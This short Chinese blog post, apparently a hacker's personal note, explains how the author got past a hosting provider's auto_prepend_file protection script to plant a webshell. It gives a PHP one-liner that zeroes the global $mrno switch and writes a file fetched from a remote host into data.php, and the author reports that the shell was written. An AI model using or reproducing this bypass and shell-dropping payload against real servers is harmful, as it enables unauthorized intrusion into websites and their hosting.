写马不成功，phpinfo()一看
auto_prepend_file /var/chroot/home/content/protect.php
好像会定义一个全局变量$mrno，可能是控制防护开关之类的。
这玩意肯定不是好东西，常规的copy、move上传方法不起效，导致超时。
<?php $GLOBALS["mrno"] = 0;file_put_contents('data.php',file_get_contents('http://x.com/xxxyyyzzz.txt'));?>
成功写下shell。
特殊环境，做下记录。
转载请注明来源，如果喜欢本站可以Feed订阅本站。
0 条评论。